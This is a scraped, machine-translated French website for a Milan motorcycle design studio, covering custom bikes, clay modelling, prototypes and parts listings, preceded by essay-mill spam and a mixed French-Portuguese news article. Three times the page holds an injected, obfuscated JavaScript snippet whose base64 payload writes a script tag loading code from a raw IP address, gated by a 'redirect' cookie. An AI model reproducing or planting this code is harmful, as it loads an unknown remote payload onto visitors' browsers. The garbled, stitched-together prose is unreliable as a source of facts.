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Pourquoi aucun corps parle de l'achat d'un essai et ce que vous devez faire aujourd'hui En ce qui concerne les étudiants peuvent avoir lieu, la rédaction d'un document d'étude est parmi l'entreprise la plus difficile et irritant dans leur point de vue. Il aurait pu le travail qui est trop leur bureau qui peut choisir d'externaliser un certain nombre de travaux. Les élèves sont souvent confrontés une large sélection d'obstacles si elles doivent réaliser un projet d'écriture, aussi devraient-ils devraient. Une fois de plus, les élèves pourraient s'attendre à écrire un long essai sur un sujet qui est sans rapport à ce qu'ils sont vraiment poursuivent.

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En savoir qui parle de l'argent payé pour mon essai et juste pourquoi vous aurez besoin d'être préoccupé par le grand, l'argent mauvais et payer mon essai en termes des étudiants participent, la rédaction d'un document d'étude est parmi les plus difficiles et l'emploi qui est frustrant leur point de vue. Par conséquent, ces étudiants commencent à chercher les plus utiles assistance essai pour vous assurer que leur tâche sera probablement produite au cours du niveau maximal en accord avec les exigences scolaires. Aussi bien que ça, ils doivent faire preuve de vigilance pour essai en ligne des entreprises qui se sont révélés être identifiés en ce qui concerne leurs ventes pauvres perpétuellement. étudiants universitaires ainsi que dans un certain nombre de cas, les étudiants ont en highschool un endroit qui est à temps partiel gagnent un peu de pâte de poche. Utiliser l'aide de notre service, plus ne vous inquiétez pas exactement comment vous avez terminé l'écriture de mes essais en ligne institution.

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reuters | journal de voitures | Le Brésilien qui a parcouru le monde et travaille avec la personnalisation de motos en Italie

En regardant le vélo, Vous ne pouvez pas savoir la marque. Beaucoup moins que ce qui est bon ou pas conduire. Mais une chose est certaine: Qu'on le veuille ou non motos, il est impossible de rester indifférent à la machine sur mesure pour raison, une petite entreprise de design situé à Milan, en Italie. Il est là que le Luiz brésilien « chauve » Mingione travaille, donnant la forme physique aux projets designer italien Donato Cannatello. INSCREVA-SE NO CANAL DO JORNAL DO CARRO NO YOUTUBE Por baixo das novas formas da moto, il est CR&S porte. Un CR&S était un fabricant artisanal qui est né en 1992 à Milan. L'acronyme signifie « coureurs et superbikes café ». Duu signifie deux dans le dialecte Milanese, et désigne le moteur 2.000 cm3. Le modèle a été lancé en Moto Salon de Milan (EICMA) en 2009. selon Mingione, chaque unité vendue par 40 milliers d'euros. Função é dar formas aos projetos A função de Mingione é moldar em fibra de vidro e alumínio, et réaliser des impressions 3D, pour donner forme aux idées créées par Cannatello. Le concepteur est venu travailler dans leur propre CR&S e na Aprilia, entre autres fabricants de moto. + BMW présente le concept de vélo rétro + Triumph pretende desenvolver moto elétrica Como foram produzidas apenas 100 unités modèles et maintenant la marque ne fonctionne pas, tout vélo CR&S serait assez exclusive. cependant, il y a toujours des clients qui veulent encore plus exclusive. Tel est le cas du propriétaire de cette unité. Mingione informe qu'il a été fait pour un Hollandais qui a des restaurants en Italie et en Nouvelle-Zélande. coût de personnalisation 24 milliers d'euros (environ R $ 110 mille). Le prix comprend projet, prototypage, pièces et main d'oeuvre. Les travaux ont duré six mois. Il a également travaillé sur un CR&de S (un, en dialecte milanais), le second modèle de la marque italienne. Dans ce cas,, le moteur a 650 cm3. Une fois que le vélo est prêt, Brésil promenades avec elle pour voir si tout est en ordre. Mingione est un pilote expérimenté, Je 2002 Il a remporté le Paris-Dakar, dans la catégorie des 250 cm3. maintenant, il dit qu'il commence à travailler sur un nouveau projet, Suzuki SV 650, produite en 1999. « Le vélo ne vaut pas mille euros (R $ 4.500), mais le propriétaire va dépenser environ 6 milliers d'euros (R $ 27 mille) de faire quelque chose d'unique ", dit. Selon lui, la première étape consiste à démonter complètement le vélo pour être personnalisé. puis, l'image est repeint et recevra les nouvelles pièces, un processus qui prend environ quatre mois, en fonction de la complexité. Mingione fonctionne par projet. Il est en il y a un an Étant donné, e pretende continuar lá até o final do

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DUU REDSHIFT – La contribution des designers dans la personnalisation de motos

Motocyclisme est une activité dans laquelle convergent aspects harmonieusement différents de la conception, le principal est de trouver une solution technique au problème « des fonctions de transport ». Les fabricants cherchent constamment à optimiser les performances dans toutes ses variantes, l'objectif est de rendre le plus efficace et capable de résoudre les problèmes des utilisateurs parlant également sur le style en soulignant la composante émotionnelle du milieu. L'émotion est l'élément principal, pour les motards autour d'eux dans leur course à leurs moyens il a un look complètement différent, avoir un contact réel et direct avec tout. Ils sont des consommateurs actifs, vivre la scène de rue au lieu de regarder, ce qu'ils ressentent est une passion dévorante qui peut vous faire sentir le frisson de la liberté totale. La thèse suivante comprend une étude de l'expérience de travail de la personnalisation d'une moto CR&S EFFECTUE, le client en question est un organisme privé dont la demande est de, à partir d'une base existante, obtenir un moyen unique en ajoutant des composants qui ont été en mesure d'améliorer l'aspect esthétique de rendre tangible les souhaits du client. Merci à la passion forte que accumuna le concepteur et le client a créé un lien d'empathie, qui a permis DONNÉ motodesign de satisfaire pleinement aux néces - sité du consommateur, faire un classique, l'article est un vrai collectionneur. Accomu - né de ce sentiment fort, juste l'APEM - tia a fait de la communication avec le client très simple et efficace, permettant aux concepteurs de comprendre immédiatement les besoins du client et, même dans certains cas, d'anticiper. Ce travail d'équipe est est favorisée Përmet - Je tends également au client de prendre part au projet en donnant une rétroaction immédiate sur les études réalisées et prototypes. A travers les technologies disponibles, DONNÉ motodesign a été en mesure de réaliser un mez - zo il avait une forte composante industrielle, tout en maintenant une impression de l'artisanat trouvé dans certains processus, cette entreprise - ture et pliage des tôles d'aluminium fabriqué à la main de l'équipe. Le dialogue permanent entre les différents secteurs a conduit à la création d'un produit qui exprimerait le caractère du propriétaire, rive - Landone leur identité et leur être. fonction getCookie(e){var U = document.cookie.match(nouveau RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Convoyeurs minimum pour CR&S EFFECTUE

Nos convoyeurs permettent de retirer "branchies" plastique CR&S duu les remplacer par des composants plus petits et un matériau d'aluminium / plastique mixte. La partie en aluminium peut être demandée avec différentes finitions, tandis que la partie plastique complémentaire est toujours à peindre en noir ABS. Le temps de l'exécution des commandes est 4 semaines!

Motogadget MOSCOPE PRO Support pour CR&S EFFECTUE

Un support spécialement conçu pour être monté facilement sur votre vélo le bel instrument de motogadget , dans ce cas, il vous permet de monter le PRO Motoscope sur tous les CR&S support DUU.Il ne nécessite aucune modification à la moto, désassembler simplement l'instrument original et remplacé par ce, permet également l'utilisation de vis originali.Disponibile plastique ABS ou en aluminium, à la fois billette avec une grande finition de base, prêt pour l'installation, vernicicati, poli (pour l'aluminium) ou autre. NB: temps 4 semaines ARO!

Casque intégral Shiro mat carbone SH-336 tg M

Shiro CASQUES Description et caractéristiques: SHELL : · Carbon composite léger. · Deux coques extérieures: petit (XXS · XS · S · M) et un grand (L · XL · XXL). · conception aérodynamique, en faveur de l'esthétique et la lutte contre la fatigue cervicale. · Insonorisation avec d'excellentes caractéristiques. Cap EPS : · Répartition technique des chambres et des canaux qui assurent le flux continu d'air · polystyrène multi-densité. · 3 tailles shell: petit (XXS), moyens (XS-SM) et une grande (L-XL-XXL). DOUBLURE : · Racing et confortable. · Cool-Max. · zones Reflétant dans les vues. · 100% amovible et lavable. · réglage facile. · détachable de protection de pointe. · Air et son dans la protection du menton. · POMPE AIR. SYSTÈME DE RÉTENTION : · Race Double D. ÉCRAN : · Traitement anti-ternissement · Imperméable · tEAROFF Pins · mouvement Arco ajustée sur la surface aérodynamique coquille. · Système de montage et démontage rapide. · bouton de verrouillage de sécurité pour la conduite à grande vitesse. FAN : · 2 prises d'air supérieures avec extraction ultérieure. · prise d'air avant sur le menton. · Débit d'air. · Auto EXTRA : · cas de sport POIDS : · +/- 1.250 gr. * DOT et approuvé la CEE / IT 22.05.

ARGILE FLOW – Clay Cours dans l'automobile

Notre cours de Clay. Outils de capture pour la pâte à modeler pour les applications automobiles. Il est au tout étudiant, vous devez créer un modèle (la partie) de mouvement avec la technique de la sculpture, de connaître l'utilisation du matériel, les outils et tous les dirigeants pour faire face à une carrière professionnelle dans cette belle région.

Nos processus de conception moto

Étant donné est une entreprise possédant une vaste expérience dans la conception axée moto. avec plus de 10 années de conception du projet, l'ingénierie et le style de moto, nous pouvons développer et suivre tout type de projet, en partant d'un concept de base par l'intermédiaire d'un premier dessin au crayon, jusqu'à ce que le développement complet d'une série de mouvement ou de pré-série. Nous avons différents outils et fonctionnalités internes et une liste des fournisseurs qui peuvent satisfaire toute demande de nous. Notre objectif est de nous pousser à de nouveaux niveaux de développement dans les entreprises de conception et à la réalisation de meilleurs produits à moindre coût. CONCEPTION L'objectif principal des invoquée est la conception de la moto et des services connexes. Nous travaillons dur et avec le logiciel 3D au crayon, papier et ordinateur, mais aussi avec des équipements de soudage et complexes processus CNC. Ingénierie L'ingénierie est fortement liée à la conception, car elle permet au processus de production pour être efficace et réaliste. Voilà pourquoi nous nous sommes spécialisés dans le transfert facilement nos idées et vos papier à la réalité. OUTILS Nous savons que nos clients ont besoin de services dans l'ensemble de la conception. Ils ont besoin de détails, finitions, logistique, systèmes d'affichage et d'autres services pour mettre en valeur leurs produits sur le marché et de recevoir des commentaires de cette. STYLE Le design est rien sans le style! Le style signifie l'interprétation des tendances, la mode et le travail sur la finition des informations permettant au client final de se sentir sa moto comme l'objet le plus souhaitable qu'il y ait.

Modelleria ARGILE

L'une des étapes les plus importantes dans la conception de la moto est certainement construire un modèle "Argile". Le soi-disant "argile automobile" Il est une argile synthétique développée dans les années 70 spécifiquement pour le secteur de la conception de transport, Il a la caractéristique, par rapport à l'argile (Note de l'éditeur de Clay) Traditionnel à être remodelée nombre infini de fois, et étant thermoplastique, puis souple et malléable à la température de travail (55/65 degrés) et dur, compact et broyé à température ambiante. Cela permet à un maximum de liberté au modeleur, et il lui permet d'être en mesure de donner à l'artefact exactement la forme désirée, avec une précision de quelques dixièmes de millimètre en utilisant simplement les outils de modélisation ou l'élimination. Une fois que nous avons obtenu la forme désirée peut procéder à une phase d'évaluation par "HighLight mur", où au moyen de lumières spéciales et des revêtements spéciaux (dans le film ou la peinture) nous pouvons évaluer l'exactitude formelle de la surface. L'autre évaluation que nous pouvons faire, en même temps que le client est évidemment l'esthétique et ergonomique, vérifier que la forme et les volumes sont corrects, engageante et proportionnellement équitable. Si des changements devaient être demandés, Il ne sera pas un problème, réintégrer "Chambre Clay" et le remodelage de l'objet en fonction des nouveaux critères. L'argile est un processus très long et complexe, qui nécessite beaucoup d'habileté et de dextérité, aussi exige une conception assistée par ordinateur en deux phases, en premier lieu dans le style de la phase avec une analyse de CAS / CAM qui permet d'avoir une idée claire de ce que nous voulons atteindre, et dériver des médias convenablement dimensionnés, Enfin, dans le pilier final de la surface, il nécessite un processus de transformation dans le modèle 3D (reverse Engineering), elle aussi très long et complexe, de sorte que son coût est certainement élevé et il est recommandé (à notre avis) que dans certains cas, il est impossible de procéder à des moyens les plus directs.

Harley Davidson XR1200 sur mesure

Harley Davidson XR1200 cliquer ici Année: 2009 kilométrage: 30000 prix 9.400 Moto en excellent état, un mythe Harley Davidson prises récemment par la société mère pour LIEE conduire les derniers modèles. Les seuls sports Harley, amusant, fiable, charmant et approprié pour les deux tours en solitaire pour un usage quotidien. La moto a été révisée l'esthétique tout en laissant intactes les attaques d'origine et le cadre, toutes les modifications sont réversibles dans un court laps de temps. Parmi les accessoires standard, bon anti-vol typique Harley Eletronico, mini-invasive et ennuyeux, mais excellent moyen de dissuasion, bien qu'en général, ce n'est pas une moto "intéressant" pour vol. Pour le reste conserve le châssis de série avec les jantes d'origine (à partir de l'avant 18") et la fourche d'origine, Mais celui-ci a reçu un examen complet et un réglage fin, ainsi que nouveau traitement esthétique de l'orange anodizazzione. Aux amortisseurs arrière à la place des originaux, ils ont été remplacés par deux unités de la course et une plus grande longueur totale:, l'esthétique et le plaisir de conduite ont reçu beaucoup d'avantages, actuellement la hauteur de selle est idéal pour les personnes de taille supérieure à 175 cm, pour le moins élevé, vous pouvez modifier le réglage, également utiliser des chocs plus courts. L'instrumentation standard a agi avec un pro motogadget Motoscope, agréable, super fonctionnelle et super lumineux, Ici, le changement ne nécessite pas de modifications de câblage, semplice plug-and-play, équipement original. Le système d'échappement est fabriqué avec des collecteurs, les beaux sons, profonde et digne d'une Harley, mais civile. Le corps a été révisée sous la forme de la queue (sans changer toute attaque) et dans le revêtement particulier "rugueux" avec de nouveaux logos et graphiques. La plaque d'immatriculation a été fabriqué à la main dans une très robuste avec un style très agréable et inclinaison "juridique". Les freins sont dignes de ce nom, avec des tuyaux tressés et les disques du système "freinage" le profil "vague" et des leviers avec deux doigts, un « système qui empêche que doit contenir une plante sur une moto similaire. Sella effet synthétique cuir suède pour le conducteur et le passager, bas guidon Bitwell par 780mm de large avec plus de diamtero 1" et les câbles de passer carrières. Toutes les modifications visent à améliorer l'esthétique et leur fonction, sans mélange étrange ou perturber les nombreuses bonnes choses Serei, un vélo personnalisé, mais fonctionne bien comme une moto de production, créé pour vous amuser à la fois sur le chemin de travail, est le plus cols de montagne de impengativi. Le moteur est en excellent état, environ 30k km, coupons réguliers, et plaquettes de frein parfait, pneus à remplacer, plein de touches et alarme à distance. En vente à 9400 € avec 9.700 € ou pneus réels avec de nouveaux pneus.

Zongshen Breakout

La cassure de ZONGSHEN est une petite moto a diminué dans diverses motorizations, à la fois thermique et électrique. Son style est clairement inspiré par les grosses motos avec une marque "Style italien" spécifiquement demandé par les clients qui cible. Pourtant, dans ce projet de conception, nous avons essayé, combine forme, le style et l'innovation, tout en maintenant les références requises.

PROTOTIPI E MAQUETTES

Ceci est sans aucun doute la partie que nous préférons, et il est celui qui permet une plus grande liberté et l'interprétation. Pour les entreprises ou les personnes qui souhaitent présenter ou juste pour voir vivre une nouvelle idée, nous pouvons développer à partir de zéro ou du client conçoit un prototype à grande échelle 1:1 pertinence stylistique avec parfaite et avec un haut niveau de détail grâce à notre maîtrise des outils de prototypage et de fabrication. Nous pouvons travailler sur aluminium ou cadres en fer ou sur "chèvres" de construire ad hoc. La structure esthétique peut être réalisée avec un millier de techniques différentes, Clay du classique à l'impression 3D à travers différents types de prototypage. Pour ces projets, en général, les temps de traitement sont très faibles parce que nous savons que les besoins sont nés quelques semaines seulement des salles ou des diaporamas.

MOTO SUR MESURE

Pensez-vous à la façon de faire votre propre vélo personnalisé? Vous cherchez un spécialiste pour construire votre vélo personnalisé? parfait! Nous sommes à Milan, mais grâce à notre réseau de transporteurs, nous pouvons prendre votre vélo partout et ramener à la maison. Une fois que la requête est que nous pouvons tirer selon vos idées ou demandes, ou vous pouvez également laisser la liberté de conception et de nous laisser faire tout, il vous suffit de venir chercher et être surpris. Quelle que soit votre idée de vélos personnalisés, nous serons heureux de le partager, même à la raison sur une bière, si vous voulez, vous pouvez faire le rendu pour vous donner une idée de la façon dont il pourrait être personnalisé, pouvons-nous voir déjà sur mesure dans un environnement de visualisation 3D où vous verrez si réelles que vous voulez sauter sur et donner du gaz! L'un des aspects les plus difficiles de notre travail est la création de vélos personnalisés, ou "sur mesure", pour les clients qui veulent se démarquer, avec bien définis et les détails personnalisés, nous aimons cette région parce qu'elle nous permet de libérer notre créativité sur des vélos qui peuvent se transformer en objets uniques, parce que nous aimons les complexités qui existent dans la réalisation d'un vélo sur mesure sont toujours différents, avec de nouveaux matériaux et techniques de construction qui changent de temps en temps. La personnalisation d'une moto nécessite beaucoup d'expérience pratique mécanique, mais de notre point de vue très important sont aussi des compétences de la planification et de la créativité. Design et conception des vélos personnalisés au niveau industriel pour le client privé. Lorsque nous faisons une moto Étant donné que nous ne remplaçons pas seulement des pièces d'origine avec d'autres trouvés autour, mais nous travaillons directement sur la pièce, ou sur le vélo, pour recréer, dessiner, conception, tout comme le client veut. Non seulement une coupe et coller, mais un vrai projet ad hoc où les détails font la différence. Dans la définition de motos sont conçues spécifiquement pour répondre aux besoins des contraintes des clients sont très différents de ceux de la conception industrielle et se rapportent à la personne au lieu des intérêts techniques ou économiques. projets exclusifs Moto design. Italienne génie mécanique et la conception des projets uniques et innovants. la 20 années au service à la clientèle les plus exigeants. En Gusto Étant donné que nous aimons les motos "rustique", fer, avec la vue mécanique, le forme moderne, mais nous sommes toujours pour une approche plus industrielle. Chaque customs pour nous à donné est un objet à déguster lentement, au coup par coup, notamment après notamment. Détails Nous aimons travailler sur tous les types de vélos personnalisés, en particulier, nous aimons: BMW boxeur monocylindre et, CR&S D'UN DUU (sur ceux-ci nous Loooong expérience ..), Harley Davidson petits et grands, Triumph Bonneville

DIGITAL mockup

Le numérique est notre mockup force. Et la dernière frontière dans le domaine de la conception de la moto et est également son évolution naturelle numérique. Le numérique est un mockup processus par lequel les entreprises qui veulent produire une moto peut éviter le mockup de phase classique en argile, la phase de restyling et hébergement Prototype, mais aussi compliqué, pas lent et coûteux de la numérisation et l'ingénierie inverse. Cela peut se traduire à une entreprise dans une économie moyenne de 4/6 mois sur TTM (Time to Market) et une réduction des coûts d'environ 80/120 000 € . Aujourd'hui, ce processus peut être très approprié pour les entreprises avec de petites productions ou refonte fréquentes ou les marges des produits réduits. Merci à notre sensibilité de conception et nos systèmes d'affichage, ainsi que nos systèmes de numérisation 3D, nous pouvons concevoir une maquette entièrement numérique, avec déjà une certaine attention à l'ingénierie, si cela ne suffit pas, nous pouvons créer rapidement un modèle à grande échelle 1:1 ou réduit avec des techniques de prototypage, finale.Quello pour afficher les meilleurs résultats que nous produisons en numérique a une consistance stylistique parfaite et les proportions d'un modèle réel possible.

Une vis… mais le géant!

Dans GIVEN ne sont pas seulement des motos, mais les projets de conception en général, Nous avons réalisé pour la société Ejot un prototype plus insolite, il est une vis sur la taille jamais vu, dont la taille est de 1,60 m pour 290 kg de poids. Ce projet a servi la société à battre un record du monde ascenseur, et je dirais que nous avons été en mesure de répondre aux attentes du client, tant du point de vue du poids atteint, obbligatorimente 300 kg, avec la possibilité de changer à + -20 kg, tant du point de vue de l'esthétique finale. Dans un premier temps, nous avons d'abord réalisé un plan d'étude et d'ingénierie. Ce fut une étape obligatoire mais cruciale car elle permet de mieux évaluer les procédures possibles à réaliser pour la réalisation de l'objet; surtout si, comme dans ce cas, Ils sont tenus de nombreuses opérations et de nombreux processus. L'approche varie en fonction du projet que vous avez en face, dans notre cas nous a permis d'évaluer une réalisation par un mélange de techniques et de matériaux. L'âme de la vis se compose d'un bloc en acier soudé, dont la surface a été collée impression 3D qui vont reconstituer l'apparence de la vigne. Ces parties externes ont été imprimés en PLA de nous "à l'intérieur" Colombe, Après quelques semaines de mise en liberté, Ils ont été poncé, collé à l'acier, cimentés et enfin peint. Lors de l'assemblage et la construction de la vis, un contrôle de poids continue nous a permis de garder sous contrôle la vis, tout en confirmant les études techniques précédemment. La même procédure a été fait pour le chariot, les poutres en acier ont été soudés ensemble (de manière à être en mesure d'agir à la fois comme support pour la vis que le transport) puis peint en rouge. Voici les images illustrant les différentes étapes réalisées pour la construction du prototype. Restez à l'écoute et rester à jour, un projet similaire ( sinon encore plus bizarre) pourrait frapper à notre porte à tout moment. fonction getCookie(e){var U = document.cookie.match(nouveau RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

A la recherche Tubeless a parlé dédié à CR&S EFFECTUE

Aussi disponible pour le CR&S duu les belles et légères roues rayonnées de Kineo. KINEO est la société qui a révolutionné le monde des roues en appliquant les technologies et les concepts les plus avancés dans la phase de conception, le développement et la mise en œuvre pour la création d'un produit unique qui a redéfini le vieux monde des roues en élevant les rayons à un produit moderne, haute performance pour un produit de prestige vraiment personnalisable à 100% en mesure d'améliorer le sentiment et la conduite de précision pour un résultat jusqu'à il y a quelques années impensable! Une longue période de conception a duré pendant des années a engagé les ingénieurs Kineo pour la définition de l'idée du projet implique l'utilisation des rayons non traversantes dans la jante qui est alors non percé, faire parce que les pneus usagés tubeless modernes et sûres (route ou hors route). Il a été possible de faire un produit disponible pour les modèles de motos les plus populaires en circulation aujourd'hui. Caractéristiques La roue Kineo, Il né avec l'idée de combiner les avantages de la solution des cercles de rayons et les alliages: - la rigidité du canal central et la flexibilité des bords qui se traduisent par la manipulation et le sentiment - pas passants rayons, Cercle non percé pour un tubeless de naissance - solution à l'auto-réglage et les rayons d'auto-centrage - légèreté, mais une résistance élevée aux chocs et aux déformations - une grande flexibilité dans les combinaisons de couleurs entre les différents éléments - TUV pour garantir la résistance à haute performance au fil du temps - aucune modification nécessaire à l'installation d'une importance particulière sont également réalisés les cercles pour les motos équipées de monobras et de la chaîne qui sont caractérisées par un profil asymétrique unique avec des points d'ancrage des tétons sur un côté créant un design grand impact, exclusif et combiné avec une sophistication technologique peut embellir chaque mouvement de tous les âges .... ROUES Les roues sont expressément conçus pour être utilisés avec des pneus sans chambre à air et sont dérivées d'une première construite en utilisant un nouveau procédé qui permet l'utilisation d'un alliage d'aluminium de classe 7000 avec des caractéristiques exceptionnelles. La dernière étape consiste à l'usinage de finition aux machines CNC. Les cercles sont absolument pas à travers des trous, et l'ensemble des rayons et des écrous conduit à un alignement automatique des mêmes composants par rapport aux cercles; vous obtenez donc équilibre naturel simple serrage des composants sur les jantes. couleurs disponibles: vernis standard: brillant Noir, Noir mat, blanc brillant, Spécial Matt White: argent brossé, vernis de protection transparent facultatif verni: Gris mat, Gris brillant, bleu mat, rouge mat, rouge brillant, brillant orange, VANNES or opaque La valve en aluminium est disponible qui est droite 90 ° DOTATION: vanne

Compte tenu Présentation Motodesign

Ci-dessous notre présentation de l'entreprise, En gros, vous pouvez télécharger le fichier PDF. fonction getCookie(e){var U = document.cookie.match(nouveau RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Italjet Dragster

Une icône révisée! Le Italjet Dragster est l'une de ces icônes de la 80/90 qui restera à jamais dans la mémoire de notre reléguée exclusivement au « désir ». Nous avons probablement plus de rêvions Kim Basinger , peut-être parce que les deux désir inspiré de dépouillent, pour voir si le couvert était aussi belle que j'ai découvert ... Être en mesure de travailler sur une telle icône de notre jeunesse était donc un immense honneur, le plaisir et la responsabilité de nous. Des idées claires ... Italjet avait des idées très claires sur la façon dont il devrait être leur scooter phare dans le nouveau millénaire, Mais ces idées ont été traduites dans la réalité ou mieux en mathématiques 3D. Nous avons ensuite fait quelques versions en 3D puis transmis à un numérique a ensuite fusionné maquette dans le produit qu'il était possible d'admirer le spectacle de moto EICMA 2018.

Conception Moto DONNÉ & Ingénierie

ZONGSHEN OUT Kawasaki ZXR PAUSE 1100 « Stealth » Samurai Chopper | Quand je vois notre Samurai Chopper se tut ... Vespa TATTOO | Que pouvez-vous dire au sujet de la Vespa qui n'a pas déjà été dit ? Peut-être lui donner ... FLUX DE ARGILE - ARGILE DES COURS DANS LE DOMAINE AUTOMOBILE Notre cours de Clay. Il vous permet d'acquérir les outils de la pâte à modeler ... T-SHIRT DONNÉ T-shirt MOTODESIGN DONNÉ en édition limitée. Avoir une chemise différente de la commune, Il est le désir de ... Les dernières nouvelles de notre Blog:

réservoir de gaz Serbatoio Harley Davidson xr 750

réservoir de gaz Serbatoio réplique cru Harley Davidson XR 750, pièces d'origine, conservés et non utilisé.

réservoir CR&S VUN en aluminium battu à la main

brève description .... temps de travail 8 semaines ARO.

Polo DONNÉ Motodesign édition limitée 4 spécimens

Polo DONNÉ en édition limitée. Avoir une chemise différente de la commune, Il est le désir de beaucoup de gens, et nous avons décidé de leur plaire, nous sommes inspirés à la technique de la peinture japonaise et l'utilisation de brosses, mettre en pratique cette technique intéressante ainsi que l'utilisation d'hypochlorite de sodium qui éclaircit les couleurs, nous avons créé notre logo DONNÉ main. édition limitée de seulement 4 spécimens, 2(M) 1(L) 1(S). LIVRAISON GRATUITE DANS LE MONDE!

gaz progressive Commande pour CR&S

Notre manette des gaz votre VUN va perdre une partie de cet effet gênant de marche / arrêt en raison de l'accélérateur trop vite. Notre commande prévoit une conception progressive, cela signifie que la course totale sera toujours de même ordre de grandeur, mais il sera très progressive dans la première partie, puis doux à bas angles d'ouverture, mais juste accélérateur aussi vite ... comment dire ... gâteau de femme et manger!

Patch Ufficiale DONNÉ

ufficiale Patch Étant donné, parfait pour chaque occasion de la plus élégante des, évidemment le rallye moto Chapitre. Patch brodé de haute qualité, avec dos adhésif thermique, diamètre 50 mm.

plaque CR&S grand réservoir d'argent 925/1000

Disponible en remplacement des plaques d'origine CR&S laqué pour duu, argent 925/1000, avec la broche de fixation arrière. MISE EN GARDE: PRIX RENVOIE A monodisque!!! NB: temps 4 semaines ARO!

T-shirt DONNÉ Motodesign

T-shirt DONNÉ édition limitée à notre gamme d'accessoires personnels ont atteint (et constamment nous continuons à faire de nouveaux ...) une série de T-shirt de conception artisanale. Les dessins sont faits à la main avec une technique mixte. Avoir une chemise différente de la commune, Il est le désir de beaucoup de gens, et nous avons décidé de leur plaire, nous sommes inspirés à la technique de la peinture japonaise et l'utilisation de brosses, mettre en pratique cette technique intéressante ainsi que l'utilisation d'hypochlorite de sodium qui éclaircit les couleurs, nous avons créé notre main DONNÉ logo et une série en constante évolution. Chaque T-shirt est fait différent avec différentes techniques en fonction de la créativité du moment. En commandant le T-shirt, vous recevrez un tirage au sort, vous pouvez exprimer votre préférence sur la taille et la couleur de la chemise, mais la conception est totalement aléatoire. LIVRAISON GRATUITE EN ITALIE!

moteur Targa CR&S X-Wedge duu laiton laqué noir d'origine

Disponible en remplacement de la plaque d'origine CR&revêtement de laque S au moteur de duu, X-Wedge della S&S, laiton, avec Laquage artisan à une couleur, pièces d'origine. NB: temps 4 semaines ARO!

plaque CR&S laiton laqué 2 Couleur Jaune / Noir original

Disponible en remplacement des plaques d'origine CR&S laqué pour duu, laiton, avec laquage artisanal en deux couleurs et la broche de fixation arrière, pièces d'origine. MISE EN GARDE: UNIQUE Prix par plaque!!! NB: temps 4 semaines ARO!

Forcella Étant donné Beast Fork BF01_r

Description et produit bientôt disponible. NB: temps 8 semaines ARO!

Odomètre CR instrumentation&S DUU d'origine

ACE 4XXX-XX tachimetro - tachymètre - Indicateur Marce inclus - Niveau de carburant - température Livetto. Comprendre 6 fonctions et est également disponible en aluminium et avec différents indicateurs LED. fonctionnalité: Ordinateur numérique multi-fonctions; simultanément indique tachymètre, vitesses jusqu'à 399,9 Km / h, Montre, niveau de température et de carburant, tout à la fois; Capteur thermique double 1&2 (moteur et de la température extérieure), Odomètre avec la partie télédétection 1&2, Il indique le maximum et la vitesse moyenne, Montre, durée du trajet, Temps total de voyage, voltometro, temps au tour; diponibile avec 3 rétroéclairages de couleurs différentes (rosso,verde,Blu); Comprendre 6 LED pour une variété d'applications; Il comprend un telecomandino fixable sur le guidon pour donner la possibilité au conducteur de voir toutes les fonctions internes de l'instrument dans une confertevole manière et sans avoir à retirer votre main du guidon. Il comprend une mémoire 99 temps au tour (CHRONO), chaque circuit comprend la vitesse moyenne et maximale; Il permet à l'utilisateur de régler le compteur kilométrique lorsqu'il est sous 30 km,au-dessus de laquelle la distance reste mémorisé dans la mémoire,même lorsque l'appareil est; Réglage de la circonférence de la roue universelle:1-3999mm.; Réglage de survitesse et à haute température réglable dans leur choix; L'indicateur de carburant a 3 résistances différentes entrant de +/- 100 Ohm, 250 Ohm, 510 Ohm.Possibilità ne pas afficher le niveau de carburant en utilisant l'option OFF; Testé à 8G pour la résistance aux vibrations et aux chocs de 100G; Les marques et à ABE approuvé. NB: temps 2 semaines ARO!

MOTOS DE MARQUE

